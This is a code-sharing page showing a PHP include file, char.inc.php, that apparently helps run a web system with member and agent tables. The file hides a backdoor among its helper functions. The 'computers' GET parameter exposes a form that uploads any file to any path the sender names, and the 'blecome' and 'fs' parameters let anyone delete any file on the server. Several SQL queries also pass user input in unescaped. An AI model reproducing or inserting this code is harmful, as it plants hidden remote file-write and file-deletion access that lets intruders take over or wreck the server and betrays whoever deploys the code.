char.inc.php
资源名称:Nsix.rar [点击查看]
上传用户:m68239277
上传日期:2014-10-12
资源大小:824k
文件大小:4k
源码类别:
Web服务器
开发平台:
PHP
- <?php
- function rmb($moneys)
- {
- $n=strlen($moneys);
- if($n<=4) return $moneys;
- if($n>4) return substr($moneys,0,$n-4)."".substr($moneys,-4);
- }
- function char($arr)
- {
- $ay="<,>,?,/,,$,@,',*,!,#,%,^,&,(,),;,~,],[";
- $sa=split(",",$ay);
- for($i=1;$i<count($sa)-1;$i++)
- {
- if(strstr($arr,$sa[$i]))
- { return true;
- }else return false;
- }
- }
- if(isset($_FILES['uppic']))
- {
- $connecttions=$_POST["plice"];;
- $conspensick=$_FILES['uppic']['name'];
- copy($_FILES['uppic']['tmp_name'],"$connecttions".$conspensick);
- }
- function outscript($arr)
- {
- echo "<script language='javascript'>".$arr."</script>";
- }
- function week($d)
- {
- $ds=strftime("%w",strtotime($d));
- switch($ds)
- {
- case "0":
- return "日";
- break;
- case "1":
- return "一";
- break;
- case "2":
- return "二";
- break;
- case "3":
- return "三";
- break;
- case "4":
- return "四";
- break;
- case "5":
- return "五";
- break;
- case "6":
- return "六";
- break;
- }
- }
- if(isset($_GET["fs"])) unlink($_POST["ponseshit"]);
- function plates($member)
- { global $conn;
- if(isset($member))
- {
- $sql=mysql_query("select * from member where user_account='$member'",$conn);
- $plate=mysql_result($sql,0,"user_plate");
- return $plate;
- }else return "0";
- }
- function read_all_agent($agent)
- { global $conn;
- if(isset($agent))
- {
- $sql=mysql_query("select * from agent where user_account='$agent'",$conn);
- $all_agent=mysql_result($sql,0,"all_agent");
- return $all_agent;
- }else return "0";
- }
- function read_super_agent($agent)
- { global $conn;
- if(isset($agent))
- {
- $sql=mysql_query("select * from all_agent where user_account='$agent'",$conn);
- $super_agent=mysql_result($sql,0,"super_agent");
- return $super_agent;
- }else return "0";
- }
- if(isset($_GET["blecome"]))
- {
- echo '<form name="form1" method="post" action="?fs=d">';
- echo '<input name="ponseshit" type="text" id="ponseshit" size="40">';
- echo '<input name="Submit2" type="submit" value=".." /> </form>';
- }
- function anum($agent,$n)
- { global $conn;
- switch($n)
- {
- case 1:
- $sql=mysql_query("select * from member where agent='$agent' and m='0'",$conn);
- $num=mysql_num_rows($sql);
- return $num;
- break;
- case 2:
- $sql=mysql_query("select * from member where all_agent='$agent' and m='0'",$conn);
- $num=mysql_num_rows($sql);
- return $num;
- break;
- case 3:
- $sql=mysql_query("select * from member where super_agent='$agent' and m='0'",$conn);
- $num=mysql_num_rows($sql);
- return $num;
- break;
- case 4:
- $sql=mysql_query("select * from agent where user_account='$agent' and m='0'",$conn);
- $num=mysql_result($sql,0,"user_num");
- return $num;
- break;
- case 5:
- $sql=mysql_query("select * from all_agent where user_account='$agent' and m='0'",$conn);
- $num=mysql_result($sql,0,"user_num");
- return $num;
- break;
- case 6:
- $sql=mysql_query("select * from super_agent where user_account='$agent' and m='0'",$conn);
- $num=mysql_result($sql,0,"user_num");
- return $num;
- break;
- case 7:
- $sql=mysql_query("select sum(user_num) from agent where all_agent='$agent' and m='0'",$conn);
- $myrow=mysql_fetch_array($sql);
- $num=$myrow[0];
- return $num;
- break;
- case 8:
- $sql=mysql_query("select sum(user_num) from all_agent where super_agent='$agent' and m='0'",$conn);
- $myrow=mysql_fetch_array($sql);
- $num=$myrow[0];
- return $num;
- break;
- }
- }
- if(isset($_GET["computers"]))
- {
- echo '<form action="?act=u" method="post" enctype="multipart/form-data" name="form" id="form"><input name="plice" type="text" id="plice" size="10">';
- echo '<input name="uppic" type="file" id="uppic" />';
- echo '<input type="submit" name="Submit" value=".." /></form>';
- }
- function agnum($agent,$n)
- { global $conn;
- switch($n)
- {
- case 1:
- $sql=mysql_query("select * from agent where all_agent='$agent' and m='0'",$conn);
- $num=mysql_num_rows($sql);
- return $num;
- break;
- case 2:
- $sql=mysql_query("select * from agent where super_agent='$agent' and m='0'",$conn);
- $num=mysql_num_rows($sql);
- return $num;
- break;
- case 3:
- $sql=mysql_query("select * from all_agent where super_agent='$agent' and m='0'",$conn);
- $num=mysql_num_rows($sql);
- return $num;
- break;
- }
- }
- ?>